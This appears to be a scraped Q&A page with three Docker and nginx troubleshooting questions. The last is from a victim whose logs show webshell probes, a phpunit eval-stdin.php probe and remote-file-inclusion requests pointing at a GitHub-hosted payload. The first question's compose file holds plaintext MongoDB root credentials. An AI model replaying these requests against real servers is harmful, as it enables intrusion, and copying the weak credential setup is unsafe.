Running 4 docker containers: server/client/nginx/mongo reverse-proxy
The client seems to work on port 4200, I can see my app and routing works.
When trying to register a user, I am requesting the below httpclient post to the Docker container called "myserver" which should call the api.
I am getting this DNS error message.
When looking at the NGINX container at the resolv.conf (it shows 127.0.0.11) which is the correct dns Docker resolves the dns-es with within the container.
When I ping from within the container to another container's name it works.
when I telnet from within and outside of the container on the servers port 3000 it works as well as telnetting on client's port 4200
So what could be the cause of not being able to resolve myserver when I am trying to register an account on my website.
it is almost as if the call to register is being made from outside the container, so it can't resolve it, is this normal behavior?
let url = 'http://myserver:3000/api/register';
docker-compose.yml
version: '3'
services:
nginx:
build: ./nginx
# Map Nginx port 80 to the local machine's port 80
volumes:
- ./dist:/usr/share/nginx/html
ports:
- "80:80"
depends_on:
- client
networks:
- app-network
# Build the container using the client Dockerfile
client:
build: ./
# This line maps the contents of the client folder into the container.
volumes:
- ./:/usr/src/app
ports:
- "4200:4200"
networks:
- app-network
myserver:
build: ./express-server
volumes:
- ./express-server:/usr/src/server
environment:
- NODE_ENV=development
depends_on:
- mongo
ports:
- "3000:3000"
networks:
- app-network
# Link the client container so that Nginx will have access to it
mongo:
environment:
- AUTH=yes
- MONGO_INITDB_ROOT_USERNAME=superAdmin
- MONGO_INITDB_ROOT_PASSWORD=admin123
image: mongo
volumes:
- /var/mongodata/data:/data/db
ports:
- "27017:27017"
networks:
- app-network
networks:
app-network:
driver: bridge
nginx default.conf
worker_processes 2 ;
events {
worker_connections 1024;
}
http {
upstream my-server {
server myserver:3000;
}
upstream client {
server client:4200;
}
server {
location / {
proxy_pass http://client;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
proxy_set_header X-Forwarded-For $remote_addr;
}
location /api/ {
proxy_pass http://my-server;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
proxy_set_header X-Forwarded-For $remote_addr;
}
}
}
cbdb2e00c6db meanchat_nginx "nginx -g 'daemon ..." 15 minutes ago Up 15 minutes 0.0.0.0:80->80/tcp meanchat_nginx_1
22406a1e9a31 meanchat_client "npm start" 15 minutes ago Up 15 minutes 0.0.0.0:4200->4200/tcp meanchat_client_1
aa024855d201 meanchat_myserver "npm start" About an hour ago Up 15 minutes 0.0.0.0:3000->3000/tcp meanchat_myserver_1
b657bd6db7b5 mongo "docker-entrypoint..." 5 hours ago Up 15 minutes 0.0.0.0:27017->27017/tcp b657bd6db7b5_meanchat_mongo_1
172.20.0.1 - - [09/Jan/2018:00:30:02 +0000] "GET /sockjs-node/info?t=1515457802565 HTTP/1.1" 200 90 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /register HTTP/1.1" 304 0 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /sockjs-node/044/zh1t2skg/websocket HTTP/1.1" 101 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /inline.bundle.js HTTP/1.1" 304 0 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /polyfills.bundle.js HTTP/1.1" 304 0 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /vendor.bundle.js HTTP/1.1" 304 0 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /styles.bundle.js HTTP/1.1" 304 0 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /scripts.bundle.js HTTP/1.1" 304 0 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:03 +0000] "GET /main.bundle.js HTTP/1.1" 200 796563 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:06 +0000] "GET /assets/img/cryptoowls.jpg HTTP/1.1" 304 0 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:06 +0000] "GET /roboto-v15-latin-regular.7e367be02cd17a96d513.woff2 HTTP/1.1" 304 0 "http://localhost/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:00:30:06 +0000] "GET /sockjs-node/info?t=1515457806564 HTTP/1.1" 200 90 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
172.20.0.1 - - [09/Jan/2018:03:31:24 +0000] "GET /sockjs-node/info?t=1515468684563 HTTP/1.1" 200 90 "http://localhost/register" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
Answer from comments:
When connecting to containers with a reverse proxy, all the URL's used by the application need to point to that reverse proxy and not the application. Typically you do this by giving a path in the URL without a hostname. If you plan to use a virtual path based reverse proxy, you'll want to go a step further and use relative paths in your URL's. This all needs to happen in the responses being sent by the application to the client.
Related
Been working on this for a few nights and I can't seem to get it to work. This is on my home network where my ISP blocks incoming traffic to TCP-80 & 443 so, I have a couple of sites running on strange ports; don't be alarmed.
My current setup:
I have a Raspberry Pi that runs a couple of wikis via NginX. The sites are available to the outside world via a couple of subdomains (example: https://wiki.somedomain.com:8443/ & https://wiki2.somedomain.com:8443/) and I have a legit wildcard cert for *.somedomain.com. This was a pet project of mine and has been working in the current config for a few years.
Moving the Setup:
The Pi is getting a bit old and I've started playing around with Docker and got my sites moved to a couple of docker containers on a faster and more stable machine that run on TCP-80. Locally, I can hit those via IP and they run fine; they just don't have a cert. My goal was to set up a reverse proxy with my legit cert and have it redirect the traffic, coming in on https:8443 to http:80. As near as I can tell, this is the way of going about this type of setup where you have multiple Docker containers and don't have certs for all of them. If I'm misunderstanding something, stop me right here and tell me I'm wasting my time; the bang-head-here sign on the wall next to me will thank you.
NginX Config:
nginx -t says this config is fine but, clearly, something wrong. If it's logging an error, I don't know where; I've ran a few tail -f commands and found nothing being added. Neither Firefox nor Brave give me any meaningful errors, other than this site can't be reached, as near as I can tell. Any ideas? Am I wasting my time?
# SSL Info
ssl_certificate /etc/letsencrypt/live/cherryblossomfarmette.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/cherryblossomfarmette.com/privkey.pem;
## Server Info
# IT Wiki
server {
#listen 80;
listen 8443 ssl;
server_name wiki.cherryblossomfarmette.com;
access_log /var/log/nginx/access.log;
error_log /var/log/nginx/error.log warn;
location / {
proxy_pass http://192.168.100.35:8080;
}
}
Docker
Here's one of my docker compose files. The other docker compose file is the same except it listens on 8081.
docker run \
--detach \
--name=dokuwiki-it \
--env "TZ=America/New_York" \
--publish 8080:80 \
--volume "/home/tome/Docker/IT_Wiki/config:/config" \
--restart unless-stopped \
lscr.io/linuxserver/dokuwiki
Access.log - when configured for HTTP:80
When I comment out listen 8443 ssl; and hit the site across the LAN, the site loads and I see records in access.log.
192.168.20.131 - - [19/Jan/2022:19:58:59 -0500] "GET / HTTP/1.1" 200 5250 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:19:58:59 -0500] "GET /lib/exe/taskrunner.php?id=start&1642640339 HTTP/1.1" 200 42 "http://192.168.20.102/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
Access.log - when configured for HTTPS:8443
When I comment out listen 80; and hit the site across the LAN, the site loads and I see records in access.log. Of course, I get the typical the SSL cert nag in the browser because I'm not coming through with the virtual host name like I use from outside the network.
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET / HTTP/1.1" 200 5250 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/logo.png HTTP/1.1" 200 3744 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/exe/css.php?t=dokuwiki&tseed=b378c07b31317225e36675986970a553 HTTP/1.1" 200 39260 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/images/license/button/cc-by-sa.png HTTP/1.1" 200 379 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-donate.gif HTTP/1.1" 200 187 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-css.png HTTP/1.1" 200 297 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-html5.png HTTP/1.1" 200 305 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-dw.png HTTP/1.1" 200 398 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/button-php.gif HTTP/1.1" 200 207 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/images/email.png HTTP/1.1" 200 370 "https://192.168.20.102:8443/lib/exe/css.php?t=dokuwiki&tseed=b378c07b31317225e36675986970a553" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/images/external-link.png HTTP/1.1" 200 431 "https://192.168.20.102:8443/lib/exe/css.php?t=dokuwiki&tseed=b378c07b31317225e36675986970a553" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/exe/taskrunner.php?id=start&1642640673 HTTP/1.1" 200 42 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
192.168.20.131 - - [19/Jan/2022:20:04:34 -0500] "GET /lib/tpl/dokuwiki/images/favicon.ico HTTP/1.1" 200 7406 "https://192.168.20.102:8443/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
Hi I get an message from my provider that my server is a part of a ddos-botnet. So i investigate my docker containers and found some corrupted containers (jitsi-meet-web (https://github.com/jitsi/docker-jitsi-meet), nextcloud (https://hub.docker.com/_/nextcloud) and a nginx container (https://hub.docker.com/_/nginx)). Someone tries to inject unsecure wordpress files via GET requests.
My question is: How is this possible and what can I do to prevent this from happening again?
The container of Jira, Confluence and Oracle DB & Ords are clean/fine.
My server runs as reverse proxy.
logs:
172.17.0.1 - - [16/Sep/2021:18:09:05 +0000] "GET /style.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:10 +0000] "GET /moduless.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:14 +0000] "GET /wp-content/plugins/t_file_wp/t_file_wp.php?test=hello HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:18 +0000] "GET /admin.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:22 +0000] "GET /index.php?3x=3x HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:24 +0000] "GET /boom.php?x HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:27 +0000] "GET /wp-content/plugins/backup_index.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:31 +0000] "GET /wp-content/db_cache.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:36 +0000] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:39 +0000] "GET /xmlrp.php?url=https://raw.githubusercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:42 +0000] "GET /wpindex.php?idb=https://raw.github
usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:47 +0000] "GET /larva.php?idb=https://raw.github
usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:52 +0000] "GET /th3_err0r.php?php=https://raw.github
usercontent.com/carlosdechia/carlosdechia/main/ExV1 HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:56 +0000] "GET /alfindex.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:09:58 +0000] "GET /alfa.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:07 +0000] "GET /wp-booking.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:11 +0000] "GET /cindex.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:17 +0000] "GET /wp-content/wp-1ogin_bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:21 +0000] "GET /wp-1ogin_bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:26 +0000] "GET /wp-includes/fonts/css.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:32 +0000] "GET /wp-includes/css/css.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:37 +0000] "GET /old-index.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:43 +0000] "GET /config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:48 +0000] "GET /wp-admin/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:51 +0000] "GET /wp-content/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:10:56 +0000] "GET /wp-includes/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:01 +0000] "GET /wp-content/themes/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:05 +0000] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:13 +0000] "GET /wp-includes/css/wp-config.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:17 +0000] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:21 +0000] "GET /wp-includes/wpconfig.bak.php?act=sf HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:25 +0000] "GET /wp-content/plugins/wpconfig.bak.php?act=sf HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:29 +0000] "GET /haders.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:32 +0000] "GET /wp-content/wp-old-index.php?action=login&pass=-1&submit= HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:39 +0000] "GET /legion.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:43 +0000] "GET /wp-content/mu-plugins/db-safe-mode.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:48 +0000] "GET /wp-includes/lfx.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:53 +0000] "GET /wp-includes/small.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:56 +0000] "GET /up.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:11:59 +0000] "GET /upload.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:03 +0000] "GET /config.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:05 +0000] "GET /test.php?Ghost=send HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:09 +0000] "GET /wp-content/langar.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:12 +0000] "GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:17 +0000] "GET /wp-content/plugins/fancy-product-designer/inc/custom-image-handler.php HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
172.17.0.1 - - [16/Sep/2021:18:12:22 +0000] "GET /wp-content/plugins/wpdiscuz/themes/default/style-rtl.css HTTP/1.1" 404 556 "anonymousfox.co" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "184.164.70.7"
107.189.3.183 - - [16/Sep/2021:18:42:21 +0000] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 154 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.35.1.el6.x86_64" "-"
198.98.55.220 - - [10/Oct/2021:09:13:11 +0000] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 154 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.35.1.el6.x86_64" "-"
172.17.0.1 - - [10/Oct/2021:09:15:43 +0000] "GET /wp-admin/css/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:15:55 +0000] "GET /.well-known/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
172.17.0.1 - - [10/Oct/2021:09:16:09 +0000] "GET /sites/default/files/ HTTP/1.1" 404 556 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" "23.146.241.19"
